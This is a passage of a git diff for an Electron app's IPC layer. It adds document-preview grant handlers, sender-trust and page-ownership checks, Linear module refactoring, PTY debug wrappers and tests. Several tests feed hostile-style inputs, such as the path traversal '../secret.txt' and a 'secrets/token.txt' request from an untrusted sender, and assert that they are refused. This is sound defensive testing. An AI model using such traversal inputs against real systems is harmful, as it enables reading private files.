+    getWorktreeIdForTab: mocks.getWorktreeIdForTab,
+    getGuestWebContentsId: mocks.getGuestWebContentsId
+  }
+}))
+
+import {
+  waitForAnyTabRegistration,
+  waitForNextTabRegistration,
+  waitForWorktreeTabRegistration
+} from './browser-tab-registration-wait'
+import { installDocPreviewGuestPolicy } from '../browser/doc-preview-guest-policy'
+import {
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants
+} from '../browser/doc-preview-grant-registry'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+
+const WAIT_MS = 1_000
+
+/** Registers a document guest the way the attach door does, which is what notifies the waiters. */
+function attachDocumentGuest(browserPageId: string): void {
+  const grant = mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId
+  })
+  const guest = {
+    isFocused: () => false,
+    isDestroyed: () => false,
+    getURL: () => buildDocPreviewUrl(grant.id, grant.entryRelativePath),
+    on: vi.fn(),
+    once: vi.fn(),
+    setWindowOpenHandler: vi.fn(),
+    setWebRTCIPHandlingPolicy: vi.fn()
+  }
+  installDocPreviewGuestPolicy(guest as never, { id: 91, send: vi.fn() })
+}
+
+/** Whether a wait has settled, without letting its rejection escape as an unhandled one. */
+function track(pending: Promise<void>): () => 'pending' | 'resolved' | 'rejected' {
+  let state: 'pending' | 'resolved' | 'rejected' = 'pending'
+  pending.then(
+    () => {
+      state = 'resolved'
+    },
+    () => {
+      state = 'rejected'
+    }
+  )
+  return () => state
+}
+
+beforeEach(() => {
+  revokeAllDocPreviewGrants()
+  vi.clearAllMocks()
+  mocks.getWebContentsIdByTabId.mockReturnValue(new Map())
+  mocks.getGuestWebContentsId.mockReturnValue(null)
+  vi.useFakeTimers()
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+describe('a workspace document registering', () => {
+  it('settles a wait that already names its page', async () => {
+    const settled = track(waitForNextTabRegistration('doc-page-1', WAIT_MS))
+
+    attachDocumentGuest('doc-page-1')
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(settled()).toBe('resolved')
+  })
+
+  // Why these two stay pending: they are how the CLI and agents ask for a browser tab to drive, and
+  // a preview is neither drivable by them nor visible to them. Satisfying either would hand the
+  // caller a surface that answers nothing, instead of letting it keep waiting for a real tab.
+  it('leaves the waits that ask for any browser tab still waiting', async () => {
+    const worktreeWait = track(waitForWorktreeTabRegistration('wt-1', WAIT_MS))
+    const anyWait = track(waitForAnyTabRegistration(WAIT_MS))
+
+    attachDocumentGuest('doc-page-2')
+    await vi.advanceTimersByTimeAsync(0)
+
+    expect(worktreeWait()).toBe('pending')
+    expect(anyWait()).toBe('pending')
+
+    // The presence half: those waits do settle, so a mutant that never resolves them would pass the
+    // assertions above by being uniformly stuck.
+    await vi.advanceTimersByTimeAsync(WAIT_MS)
+    expect(worktreeWait()).toBe('rejected')
+    expect(anyWait()).toBe('rejected')
+  })
+})
diff --git a/src/main/ipc/browser-tab-registration-wait.ts b/src/main/ipc/browser-tab-registration-wait.ts
index 6b8af1d8496..9055a66f58c 100644
--- a/src/main/ipc/browser-tab-registration-wait.ts
+++ b/src/main/ipc/browser-tab-registration-wait.ts
@@ -1,5 +1,6 @@
 import { webContents } from 'electron'
 import { browserManager } from '../browser/browser-manager'
+import { onWorkspaceDocGuestRegistered } from '../browser/doc-preview-guest-policy'
 
 // Why: CLI-driven tab creation must wait until the renderer mounts the webview
 // and calls registerGuest, so the tab has a webContentsId and is operable by
@@ -109,6 +110,18 @@ export function waitForAnyTabRegistration(timeoutMs = 8_000): Promise<void> {
   return waitForRegistrationSet(pendingAnyTabRegistrations, timeoutMs, () => {})
 }
 
+/**
+ * Why a document page resolves only its own waiters: the worktree-wide and any-tab waits are how
+ * the CLI and agents ask for a browser tab to drive, and a preview is neither drivable by them nor
+ * visible to them. Only a request already naming this page — a tool the reader opened on the
+ * document — is waiting for this.
+ */
+onWorkspaceDocGuestRegistered((browserPageId) => {
+  const pendingResolves = pendingTabRegistrations.get(browserPageId)
+  pendingTabRegistrations.delete(browserPageId)
+  resolvePendingRegistrations(pendingResolves)
+})
+
 export function resolveTabRegistrationWaiters(browserPageId: string, worktreeId: string): void {
   const pendingResolves = pendingTabRegistrations.get(browserPageId)
   pendingTabRegistrations.delete(browserPageId)
diff --git a/src/main/ipc/browser.test.ts b/src/main/ipc/browser.test.ts
index feb0245cc49..3d3c18115ff 100644
--- a/src/main/ipc/browser.test.ts
+++ b/src/main/ipc/browser.test.ts
@@ -794,6 +794,8 @@ describe('registerBrowserHandlers', () => {
 
   it('validates annotation viewport bridge requests before syncing to the guest', async () => {
     registerBrowserHandlers()
+    const guest = { isDestroyed: () => false } as Electron.WebContents
+    getAuthorizedGuestMock.mockReturnValue(guest)
 
     const syncHandler = handleMock.mock.calls.find(
       ([channel]) => channel === 'browser:setAnnotationViewportBridge'
@@ -818,12 +820,52 @@ describe('registerBrowserHandlers', () => {
     )
 
     expect(result).toBe(true)
-    expect(setAnnotationViewportBridgeMock).toHaveBeenCalledWith('page-1', {
-      emitViewport: false,
-      enabled: true,
-      markers: [],
-      token: 'annotationviewporttoken'
-    })
+    expect(setAnnotationViewportBridgeMock).toHaveBeenCalledWith(
+      'page-1',
+      {
+        emitViewport: false,
+        enabled: true,
+        markers: [],
+        token: 'annotationviewporttoken'
+      },
+      // Why a resolver and not the guest: the op is serialized per page, so it has to read the
+      // registry when it runs — a navigation while it waited may have swapped the contents.
+      // Which guest it then resolves is pinned in browser-manager-annotation-bridge.test.ts.
+      expect.any(Function)
+    )
+  })
+
+  // Why this is new: the channel used to hand a page id straight to the manager, so any trusted
+  // renderer could drive any page's guest. It now resolves through the same authority the grab
+  // channels use, which pins the request to the renderer that registered the page.
+  it('refuses an annotation viewport bridge request from a renderer that does not own the page', async () => {
+    registerBrowserHandlers()
+    getAuthorizedGuestMock.mockReturnValue(null)
+
+    const syncHandler = handleMock.mock.calls.find(
+      ([channel]) => channel === 'browser:setAnnotationViewportBridge'
+    )?.[1] as (event: { sender: Electron.WebContents }, args: unknown) => Promise<boolean> | boolean
+
+    const result = await syncHandler(
+      {
+        sender: {
+          id: 91,
+          isDestroyed: () => false,
+          getType: () => 'window',
+          getURL: () => 'file:///renderer/index.html'
+        } as Electron.WebContents
+      },
+      {
+        browserPageId: 'page-1',
+        emitViewport: false,
+        enabled: true,
+        markers: [],
+        token: 'annotationviewporttoken'
+      }
+    )
+
+    expect(result).toBe(false)
+    expect(setAnnotationViewportBridgeMock).not.toHaveBeenCalled()
   })
 
   it('rejects invalid annotation viewport bridge requests', async () => {
diff --git a/src/main/ipc/browser.ts b/src/main/ipc/browser.ts
index 133a8ec8a06..d9aa0409c08 100644
--- a/src/main/ipc/browser.ts
+++ b/src/main/ipc/browser.ts
@@ -2,6 +2,7 @@ import { ipcMain, webContents } from 'electron'
 import { browserCertificateTrustController, browserManager } from '../browser/browser-manager'
 import type { AgentBrowserBridge } from '../browser/agent-browser-bridge'
 import { browserSessionRegistry } from '../browser/browser-session-registry'
+import { isWorkspaceDocPageId } from '../browser/doc-preview-guest-policy'
 import { isTrustedBrowserRenderer } from './browser-renderer-trust'
 import {
   isLiveBrowserWebContentsId,
@@ -160,6 +161,13 @@ export function registerBrowserHandlers(): void {
     if (!isTrustedBrowserRenderer(event.sender)) {
       return false
     }
+    // Why the whole door and not just the manager call: a document page shares this renderer, and
+    // the grab disposal below drops the intent an in-flight preview grab compares by identity —
+    // that grab would then answer ok without ever arming. A document page withdraws by revoking
+    // its grant, so its id arriving here is misaddressed however it got here.
+    if (typeof args?.browserPageId !== 'string' || isWorkspaceDocPageId(args.browserPageId)) {
+      return false
+    }
     // Why: notify bridge before unregistering so it can destroy the session
     // process and proxy. Must happen before unregisterGuest clears the mapping.
     const wcId = browserManager.getGuestWebContentsId(args.browserPageId)
diff --git a/src/main/ipc/doc-preview-grant-ipc.test.ts b/src/main/ipc/doc-preview-grant-ipc.test.ts
new file mode 100644
index 00000000000..453f3ac854c
--- /dev/null
+++ b/src/main/ipc/doc-preview-grant-ipc.test.ts
@@ -0,0 +1,194 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const mocks = vi.hoisted(() => ({
+  handlers: new Map<string, (event: unknown, ...args: unknown[]) => unknown>(),
+  listeners: new Map<string, (event: unknown, ...args: unknown[]) => unknown>(),
+  isTrustedBrowserRenderer: vi.fn(),
+  reportDocPreviewLinkClick: vi.fn(),
+  getGuestWebContentsId: vi.fn()
+}))
+
+vi.mock('electron', () => ({
+  ipcMain: {
+    handle: (channel: string, handler: (event: unknown, ...args: unknown[]) => unknown) => {
+      mocks.handlers.set(channel, handler)
+    },
+    on: (channel: string, listener: (event: unknown, ...args: unknown[]) => unknown) => {
+      mocks.listeners.set(channel, listener)
+    }
+  }
+}))
+vi.mock('./browser-renderer-trust', () => ({
+  isTrustedBrowserRenderer: mocks.isTrustedBrowserRenderer
+}))
+vi.mock('../browser/doc-preview-guest-policy', () => ({
+  reportDocPreviewLinkClick: mocks.reportDocPreviewLinkClick
+}))
+vi.mock('../browser/browser-manager', () => ({
+  browserManager: { getGuestWebContentsId: mocks.getGuestWebContentsId }
+}))
+
+import {
+  registerDocPreviewGrantHandlers,
+  type DocPreviewGrantRequest
+} from './doc-preview-grant-ipc'
+import {
+  getDocPreviewGrant,
+  revokeAllDocPreviewGrants
+} from '../browser/doc-preview-grant-registry'
+import {
+  DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL,
+  DOC_PREVIEW_LINK_CLICK_CHANNEL,
+  DOC_PREVIEW_MINT_GRANT_CHANNEL,
+  DOC_PREVIEW_REVOKE_GRANT_CHANNEL,
+  parseDocPreviewUrl
+} from '../../shared/doc-preview-scheme'
+
+const REQUEST: DocPreviewGrantRequest = {
+  owner: { kind: 'ssh', connectionId: 'ssh-1' },
+  requestBase: '/home/alice/docs',
+  root: '/home/alice/docs',
+  entryRelativePath: 'index.html',
+  browserPageId: 'doc-page-1'
+}
+
+const sender = { id: 7 }
+
+function mint(request: DocPreviewGrantRequest = REQUEST): { grantId: string; url: string } {
+  const handler = mocks.handlers.get(DOC_PREVIEW_MINT_GRANT_CHANNEL)
+  if (!handler) {
+    throw new Error('mint handler not registered')
+  }
+  return handler({ sender }, request) as { grantId: string; url: string }
+}
+
+function revoke(grantId: string): boolean {
+  const handler = mocks.handlers.get(DOC_PREVIEW_REVOKE_GRANT_CHANNEL)
+  if (!handler) {
+    throw new Error('revoke handler not registered')
+  }
+  return handler({ sender }, grantId) as boolean
+}
+
+function authorize(grantId: unknown, relativePath: unknown): boolean {
+  const handler = mocks.handlers.get(DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL)
+  if (!handler) {
+    throw new Error('authorize handler not registered')
+  }
+  return handler({ sender }, grantId, relativePath) as boolean
+}
+
+function reportLinkClick(url: unknown): void {
+  const listener = mocks.listeners.get(DOC_PREVIEW_LINK_CLICK_CHANNEL)
+  if (!listener) {
+    throw new Error('link click listener not registered')
+  }
+  listener({ sender }, url)
+}
+
+beforeEach(() => {
+  mocks.handlers.clear()
+  mocks.listeners.clear()
+  vi.clearAllMocks()
+  revokeAllDocPreviewGrants()
+  mocks.isTrustedBrowserRenderer.mockReturnValue(true)
+  mocks.getGuestWebContentsId.mockReturnValue(null)
+  registerDocPreviewGrantHandlers()
+})
+
+describe('document preview grant handlers', () => {
+  it('mints a grant addressable by the URL it returns', () => {
+    const result = mint()
+
+    expect(parseDocPreviewUrl(result.url)).toEqual({
+      grantId: result.grantId,
+      relativePath: 'index.html'
+    })
+    expect(getDocPreviewGrant(result.grantId)?.root).toBe('/home/alice/docs')
+    expect(mocks.isTrustedBrowserRenderer).toHaveBeenCalledWith(sender)
+  })
+
+  it('revokes a grant it minted', () => {
+    const result = mint()
+
+    expect(revoke(result.grantId)).toBe(true)
+    expect(getDocPreviewGrant(result.grantId)).toBeNull()
+  })
+
+  it('rejects a request that names no root, entry document or page', () => {
+    expect(() => mint({ ...REQUEST, root: '  ' })).toThrow(/Invalid/)
+    expect(() => mint({ ...REQUEST, entryRelativePath: '' })).toThrow(/Invalid/)
+    expect(() => mint({ ...REQUEST, browserPageId: ' ' })).toThrow(/Invalid/)
+  })
+
+  // Why this is refused here and not left to registration: this is where a page becomes a document
+  // page, and the two halves of the page registry have to stay disjoint. A page already hosting a
+  // browsing guest would otherwise resolve in both, and the tool door prefers the document one.
+  it('refuses to make a page that already hosts a browsing guest into a document page', () => {
+    mocks.getGuestWebContentsId.mockReturnValue(42)
+
+    expect(() => mint()).toThrow(/browsing page/)
+    expect(mocks.getGuestWebContentsId).toHaveBeenCalledWith('doc-page-1')
+  })
+
+  // Why: this channel hands out filesystem-read authority, so an untrusted sender must leave with
+  // nothing rather than with a grant id the scheme handler would honor.
+  it('mints nothing for a sender that is not the trusted renderer', () => {
+    mocks.isTrustedBrowserRenderer.mockReturnValue(false)
+
+    expect(() => mint()).toThrow(/Untrusted/)
+  })
+
+  it('refuses to revoke on behalf of a sender that is not the trusted renderer', () => {
+    const result = mint()
+    mocks.isTrustedBrowserRenderer.mockReturnValue(false)
+
+    expect(revoke(result.grantId)).toBe(false)
+    expect(getDocPreviewGrant(result.grantId)).not.toBeNull()
+  })
+
+  it('lets only the trusted renderer authorize a valid requested directory', () => {
+    const result = mint({
+      ...REQUEST,
+      requestBase: '/home/alice',
+      root: '/home/alice/docs',
+      entryRelativePath: 'docs/index.html'
+    })
+
+    expect(authorize(result.grantId, 'assets/app.js')).toBe(true)
+    expect(getDocPreviewGrant(result.grantId)?.authorizedRoots).toEqual(['/home/alice/assets'])
+
+    mocks.isTrustedBrowserRenderer.mockReturnValue(false)
+    expect(authorize(result.grantId, 'secrets/token.txt')).toBe(false)
+    expect(getDocPreviewGrant(result.grantId)?.authorizedRoots).toEqual(['/home/alice/assets'])
+  })
+
+  it('refuses malformed directory authorization arguments', () => {
+    const result = mint()
+
+    expect(authorize(result.grantId, '../secret.txt')).toBe(false)
+    expect(authorize(result.grantId, null)).toBe(false)
+    expect(authorize(null, 'assets/app.js')).toBe(false)
+    expect(authorize('0'.repeat(32), 'assets/app.js')).toBe(false)
+  })
+
+  // Why this channel skips the trusted-renderer check: its sender is a preview guest rendering a
+  // workspace document, which is the untrusted side by construction. The guest policy holds the
+  // gate, so all this listener owes is the sender and a string.
+  it('hands a reported link click to the guest policy with the sender that reported it', () => {
+    reportLinkClick('https://example.com/docs')
+
+    expect(mocks.reportDocPreviewLinkClick).toHaveBeenCalledExactlyOnceWith(
+      sender,
+      'https://example.com/docs'
+    )
+    expect(mocks.isTrustedBrowserRenderer).not.toHaveBeenCalled()
+  })
+
+  it('ignores a reported click that is not a string at all', () => {
+    reportLinkClick({ url: 'https://example.com/docs' })
+    reportLinkClick(undefined)
+
+    expect(mocks.reportDocPreviewLinkClick).not.toHaveBeenCalled()
+  })
+})
diff --git a/src/main/ipc/doc-preview-grant-ipc.ts b/src/main/ipc/doc-preview-grant-ipc.ts
new file mode 100644
index 00000000000..9b3c6636322
--- /dev/null
+++ b/src/main/ipc/doc-preview-grant-ipc.ts
@@ -0,0 +1,109 @@
+import { ipcMain } from 'electron'
+import {
+  buildDocPreviewUrl,
+  DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL,
+  DOC_PREVIEW_LINK_CLICK_CHANNEL,
+  DOC_PREVIEW_MINT_GRANT_CHANNEL,
+  DOC_PREVIEW_REVOKE_GRANT_CHANNEL
+} from '../../shared/doc-preview-scheme'
+import { browserManager } from '../browser/browser-manager'
+import { reportDocPreviewLinkClick } from '../browser/doc-preview-guest-policy'
+import {
+  authorizeDocPreviewDirectory,
+  mintDocPreviewGrant,
+  revokeDocPreviewGrant,
+  type DocPreviewOwner
+} from '../browser/doc-preview-grant-registry'
+import { isTrustedBrowserRenderer } from './browser-renderer-trust'
+
+export type DocPreviewGrantRequest = {
+  owner: DocPreviewOwner
+  /** Directory relative preview URLs resolve against. */
+  requestBase: string
+  /** Containing directory of the opened document, on the owning host. */
+  root: string
+  /** Opened document, relative to `requestBase`. */
+  entryRelativePath: string
+  /** Browser page the reader is opening the document in; main registers the guest under it. */
+  browserPageId: string
+}
+
+export type DocPreviewGrantResult = { grantId: string; url: string }
+
+function isValidGrantRequest(request: DocPreviewGrantRequest): boolean {
+  if (!request.requestBase.trim() || !request.root.trim() || !request.entryRelativePath.trim()) {
+    return false
+  }
+  if (typeof request.browserPageId !== 'string' || !request.browserPageId.trim()) {
+    return false
+  }
+  if (request.owner.kind === 'ssh') {
+    return Boolean(request.owner.connectionId.trim())
+  }
+  return Boolean(
+    request.owner.environmentId.trim() &&
+    request.owner.worktreeSelector.trim() &&
+    request.owner.worktreeRoot.trim()
+  )
+}
+
+/**
+ * Minting never widens what the renderer can already read: an SSH grant reads
+ * through the same provider as `fs:readFile`, and a runtime grant through the
+ * same worktree-scoped `files.read` RPC the renderer can call directly.
+ */
+export function registerDocPreviewGrantHandlers(): void {
+  ipcMain.handle(
+    DOC_PREVIEW_MINT_GRANT_CHANNEL,
+    (event, request: DocPreviewGrantRequest): DocPreviewGrantResult => {
+      // Why gate a channel guests cannot reach today: this one hands out filesystem-read
+      // authority, so it holds the same sender check its sibling browser channels do rather than
+      // relying on guests never gaining an ipcRenderer.
+      if (!isTrustedBrowserRenderer(event.sender)) {
+        throw new Error('Untrusted document preview grant request')
+      }
+      if (!isValidGrantRequest(request)) {
+        throw new Error('Invalid document preview grant request')
+      }
+      // Why the other half of the registry is consulted here: this is where a page first becomes a
+      // document page, and the two halves must stay disjoint. Naming a page that already hosts a
+      // browsing guest would make one id resolve in both.
+      if (browserManager.getGuestWebContentsId(request.browserPageId) !== null) {
+        throw new Error('Document preview grant names a browsing page')
+      }
+      const grant = mintDocPreviewGrant({
+        owner: request.owner,
+        requestBase: request.requestBase,
+        root: request.root,
+        entryRelativePath: request.entryRelativePath,
+        browserPageId: request.browserPageId
+      })
+      return {
+        grantId: grant.id,
+        url: buildDocPreviewUrl(grant.id, grant.entryRelativePath)
+      }
+    }
+  )
+
+  ipcMain.handle(DOC_PREVIEW_REVOKE_GRANT_CHANNEL, (event, grantId: string): boolean =>
+    isTrustedBrowserRenderer(event.sender) ? revokeDocPreviewGrant(grantId) : false
+  )
+
+  ipcMain.handle(
+    DOC_PREVIEW_AUTHORIZE_DIRECTORY_CHANNEL,
+    (event, grantId: unknown, relativePath: unknown): boolean =>
+      isTrustedBrowserRenderer(event.sender) &&
+      typeof grantId === 'string' &&
+      typeof relativePath === 'string' &&
+      authorizeDocPreviewDirectory(grantId, relativePath)
+  )
+
+  // Why no trusted-renderer check here: the sender is a preview guest rendering a workspace
+  // document, which is exactly the untrusted side. `reportDocPreviewLinkClick` is the gate — a
+  // live bound grant and a web URL — and it drops everything else silently.
+  ipcMain.on(DOC_PREVIEW_LINK_CLICK_CHANNEL, (event, url: unknown) => {
+    if (typeof url === 'string') {
+      reportDocPreviewLinkClick(event.sender, url)
+    }
+  })
+}
diff --git a/src/main/ipc/linear-issue-handlers.ts b/src/main/ipc/linear-issue-handlers.ts
index c358746c6f5..3c5448251c0 100644
--- a/src/main/ipc/linear-issue-handlers.ts
+++ b/src/main/ipc/linear-issue-handlers.ts
@@ -1,15 +1,9 @@
 import { ipcMain } from 'electron'
-import {
-  getIssue,
-  searchIssues,
-  listIssues,
-  createIssue,
-  updateIssue,
-  addIssueComment,
-  getIssueComments
-} from '../linear/issues'
+import { getIssue, searchIssues } from '../linear/linear-issue-lookups'
+import { listIssues, type LinearListFilter } from '../linear/linear-issue-listing'
+import { createIssue, updateIssue } from '../linear/linear-issue-mutations'
+import { addIssueComment, getIssueComments } from '../linear/linear-issue-comments'
 import { normalizeWorkspaceId, normalizeWorkspaceSelection } from './linear-ipc-args'
-import type { LinearListFilter } from '../linear/issues'
 import { clampLinearIssueListLimit } from '../../shared/linear/issue-read-limits'
 import { optionalParsedLinearIssueAttributeFilter } from '../../shared/linear/issue-attribute-filter'
 import type { LinearIssueUpdate } from '../../shared/issue-mutation-types'
diff --git a/src/main/ipc/linear.test.ts b/src/main/ipc/linear.test.ts
index d022497486b..59465513ab4 100644
--- a/src/main/ipc/linear.test.ts
+++ b/src/main/ipc/linear.test.ts
@@ -36,12 +36,18 @@ vi.mock('../linear/client', () => ({
   testConnection: testConnectionMock
 }))
 
-vi.mock('../linear/issues', () => ({
+vi.mock('../linear/linear-issue-lookups', () => ({
   getIssue: vi.fn(),
-  searchIssues: vi.fn(),
-  listIssues: listIssuesMock,
+  searchIssues: vi.fn()
+}))
+vi.mock('../linear/linear-issue-listing', () => ({
+  listIssues: listIssuesMock
+}))
+vi.mock('../linear/linear-issue-mutations', () => ({
   createIssue: vi.fn(),
-  updateIssue: vi.fn(),
+  updateIssue: vi.fn()
+}))
+vi.mock('../linear/linear-issue-comments', () => ({
   addIssueComment: vi.fn(),
   getIssueComments: vi.fn()
 }))
diff --git a/src/main/ipc/pty-daemon-spawn-wsl-runtime.test.ts b/src/main/ipc/pty-daemon-spawn-wsl-runtime.test.ts
index ad2b29955db..cbeddb333cd 100644
--- a/src/main/ipc/pty-daemon-spawn-wsl-runtime.test.ts
+++ b/src/main/ipc/pty-daemon-spawn-wsl-runtime.test.ts
@@ -148,6 +148,58 @@ describe('registerPtyHandlers', () => {
           false
         )
       })
+      it('restores daemon launch identity for a runtime-created reattach', async () => {
+        const incarnationId = 'runtime-reattach-incarnation'
+        const leafId = 'bbbbbbbb-bbbb-4bbb-8bbb-bbbbbbbbbbbb'
+        const daemonSpawn = setupDaemonAdapter()
+        daemonSpawn.mockResolvedValueOnce({
+          id: 'runtime-reattach',
+          incarnationId,
+          isReattach: true,
+          launchAgent: 'codex'
+        } as never)
+        const runtime = {
+          setPtyController: vi.fn(),
+          registerPty: vi.fn(),
+          onPtySpawned: vi.fn(),
+          onPtyExit: vi.fn(),
+          onPtyData: vi.fn()
+        }
+        handlers.clear()
+        registerPtyHandlers(mainWindow as never, runtime as never)
+        const controller = runtime.setPtyController.mock.calls[0]?.[0] as {
+          spawn(args: {
+            cols: number
+            rows: number
+            worktreeId: string
+            tabId: string
+            leafId: string
+            sessionId: string
+          }): Promise<{ id: string }>
+        }
+
+        await controller.spawn({
+          cols: 80,
+          rows: 24,
+          worktreeId: 'wt-runtime-reattach',
+          tabId: 'tab-runtime-reattach',
+          leafId,
+          sessionId: 'runtime-reattach'
+        })
+
+        expect(runtime.registerPty).toHaveBeenCalledWith(
+          'runtime-reattach',
+          'wt-runtime-reattach',
+          null,
+          {
+            tabId: 'tab-runtime-reattach',
+            leafId,
+            incarnationId,
+            providerReattachLaunchIdentity: { incarnationId, launchAgent: 'codex' }
+          },
+          false
+        )
+      })
       it('uses the owning project WSL runtime for runtime-created daemon PTYs', async () => {
         await withWin32Platform(async () => {
           _setWslCachesForTests({ available: true, distros: ['Ubuntu'] })
diff --git a/src/main/ipc/pty-ipc-mock-registry.ts b/src/main/ipc/pty-ipc-mock-registry.ts
index 24dc333e6d1..bf3ec10dc27 100644
--- a/src/main/ipc/pty-ipc-mock-registry.ts
+++ b/src/main/ipc/pty-ipc-mock-registry.ts
@@ -87,6 +87,7 @@ export const fsModuleMock = () => ({
   chmodSync: chmodSyncMock,
   renameSync: renameSyncMock,
   rmSync: rmSyncMock,
+  mkdtempSync: () => '/tmp/orca-watcher-canary-test',
   constants: {
     X_OK: 1,
     R_OK: 4
diff --git a/src/main/ipc/pty-spawn-runtime-handle-binding.test.ts b/src/main/ipc/pty-spawn-runtime-handle-binding.test.ts
index 6e5e57f3ad6..73c6e906d5e 100644
--- a/src/main/ipc/pty-spawn-runtime-handle-binding.test.ts
+++ b/src/main/ipc/pty-spawn-runtime-handle-binding.test.ts
@@ -416,8 +416,14 @@ describe('registerPtyHandlers', () => {
       baseEnv: expect.any(Object)
     })
   })
-  it('does not echo launch config for provider reattach results', async () => {
-    const spawn = vi.fn(async () => ({ id: 'ssh-reattach', isReattach: true }))
+  it('restores daemon launch identity without minting renderer authority on reattach', async () => {
+    const incarnationId = 'ssh-reattach-incarnation'
+    const spawn = vi.fn(async () => ({
+      id: 'ssh-reattach',
+      incarnationId,
+      isReattach: true as const,
+      launchAgent: 'codex' as const
+    }))
     registerSshPtyProvider('ssh-reattach-1', {
       spawn,
       write: vi.fn(),
@@ -439,17 +445,30 @@ describe('registerPtyHandlers', () => {
       getProfiles: vi.fn(),
       acknowledgeDataEvent: vi.fn()
     } as never)
+    const registerPty = vi.fn()
     const runtime = {
       setPtyController: vi.fn(),
       createPreAllocatedTerminalHandle: vi.fn(() => 'term_remote'),
-      registerPreAllocatedHandleForPty: vi.fn()
+      registerPreAllocatedHandleForPty: vi.fn(),
+      registerPty
     }
+    const tabId = 'tab-reattach'
+    const leafId = '77777777-7777-4777-8777-777777777777'
+    const worktreeId = 'repo-1::/tmp/reattach'
 
     registerPtyHandlers(mainWindow as never, runtime as never)
-    const result = (await handlers.get('pty:spawn')!(null, {
+    const result = (await handlers.get('pty:spawn')!(mainWindowIpcEvent, {
       cols: 80,
       rows: 24,
       connectionId: 'ssh-reattach-1',
+      worktreeId,
+      tabId,
+      leafId,
+      env: {
+        ORCA_PANE_KEY: makePaneKey(tabId, leafId),
+        ORCA_TAB_ID: tabId,
+        ORCA_WORKTREE_ID: worktreeId
+      },
       launchConfig: {
         agentCommand: 'codex --model gpt-5',
         agentArgs: '--model gpt-5',
@@ -459,6 +478,18 @@ describe('registerPtyHandlers', () => {
 
     expect(result).toMatchObject({ id: 'ssh-reattach', isReattach: true })
     expect(result.launchConfig).toBeUndefined()
+    expect(registerPty).toHaveBeenCalledWith(
+      'ssh-reattach',
+      worktreeId,
+      'ssh-reattach-1',
+      expect.objectContaining({
+        tabId,
+        leafId,
+        incarnationId,
+        providerReattachLaunchIdentity: { incarnationId, launchAgent: 'codex' }
+      }),
+      undefined
+    )
   })
   it('reuses the runtime background handle in local PTY spawn env', async () => {
     type RuntimeSpawnController = {
diff --git a/src/main/ipc/pty/delivery/debug.ts b/src/main/ipc/pty/delivery/debug.ts
index 99dae69488d..f9c11c19d97 100644
--- a/src/main/ipc/pty/delivery/debug.ts
+++ b/src/main/ipc/pty/delivery/debug.ts
@@ -88,31 +88,51 @@ export const EMPTY_PTY_RENDERER_DELIVERY_DEBUG_SNAPSHOT: PtyRendererDeliveryDebu
   rendererDispatcherReadyForcedCount: 0
 }
 
-export let readPtyRendererDeliveryDebugSnapshot = (): PtyRendererDeliveryDebugSnapshot => ({
-  ...EMPTY_PTY_RENDERER_DELIVERY_DEBUG_SNAPSHOT
-})
-export let resetPtyRendererDeliveryDebugSnapshot = (): void => {}
+// Why null-init + wrapper fns (not `export let fn = noop`): rolldown const-folds the noop into
+// call sites and drops the setter's reassignment, so bridged closures never run in the built app (STA-5661).
+let readPtyRendererDeliveryDebugSnapshotImpl: (() => PtyRendererDeliveryDebugSnapshot) | null = null
+let resetPtyRendererDeliveryDebugSnapshotImpl: (() => void) | null = null
 // Bridged into the registerPtyHandlers closure so the module-scope lifecycle-reset handler can zero closure-owned delivery accounting on renderer reload/crash.
-export let resetRendererDeliveryAccountingForLifecycleReset = (): void => {}
+let resetRendererDeliveryAccountingForLifecycleResetImpl: (() => void) | null = null
 // Bridged so a re-registration can cancel the prior closure's dispatcher-ready watchdog before wiring its own.
-export let clearRendererDispatcherReadyWatchdog = (): void => {}
+let clearRendererDispatcherReadyWatchdogImpl: (() => void) | null = null
+
+export function readPtyRendererDeliveryDebugSnapshot(): PtyRendererDeliveryDebugSnapshot {
+  return (
+    readPtyRendererDeliveryDebugSnapshotImpl?.() ?? {
+      ...EMPTY_PTY_RENDERER_DELIVERY_DEBUG_SNAPSHOT
+    }
+  )
+}
+
+export function resetPtyRendererDeliveryDebugSnapshot(): void {
+  resetPtyRendererDeliveryDebugSnapshotImpl?.()
+}
+
+export function resetRendererDeliveryAccountingForLifecycleReset(): void {
+  resetRendererDeliveryAccountingForLifecycleResetImpl?.()
+}
+
+export function clearRendererDispatcherReadyWatchdog(): void {
+  clearRendererDispatcherReadyWatchdogImpl?.()
+}
 
 export function setReadPtyRendererDeliveryDebugSnapshot(
   fn: () => PtyRendererDeliveryDebugSnapshot
 ): void {
-  readPtyRendererDeliveryDebugSnapshot = fn
+  readPtyRendererDeliveryDebugSnapshotImpl = fn
 }
 
 export function setResetPtyRendererDeliveryDebugSnapshot(fn: () => void): void {
-  resetPtyRendererDeliveryDebugSnapshot = fn
+  resetPtyRendererDeliveryDebugSnapshotImpl = fn
 }
 
 export function setResetRendererDeliveryAccountingForLifecycleReset(fn: () => void): void {
-  resetRendererDeliveryAccountingForLifecycleReset = fn
+  resetRendererDeliveryAccountingForLifecycleResetImpl = fn
 }
 
 export function setClearRendererDispatcherReadyWatchdog(fn: () => void): void {
-  clearRendererDispatcherReadyWatchdog = fn
+  clearRendererDispatcherReadyWatchdogImpl = fn
 }
 
 export function getPtyRendererDeliveryDebugSnapshot(): PtyRendererDeliveryDebugSnapshot {
diff --git a/src/main/ipc/pty/delivery/visibility-state.ts b/src/main/ipc/pty/delivery/visibility-state.ts
index dbe9526ae2e..21c18508055 100644
--- a/src/main/ipc/pty/delivery/visibility-state.ts
+++ b/src/main/ipc/pty/delivery/visibility-state.ts
@@ -9,8 +9,17 @@ export const interactiveOutputCharsByPty = new Map<string, number>()
 export const activeRendererPtys = new Set<string>()
 export const visibleRendererPtys = new Set<string>()
 export const rendererVisibilityKnownPtys = new Set<string>()
-export let invalidatePendingPtyDrainPriority = (_id?: string, _schedule?: boolean): void => {}
-export let invalidatePendingPtyDrainPolicy = (_id?: string, _schedule?: boolean): void => {}
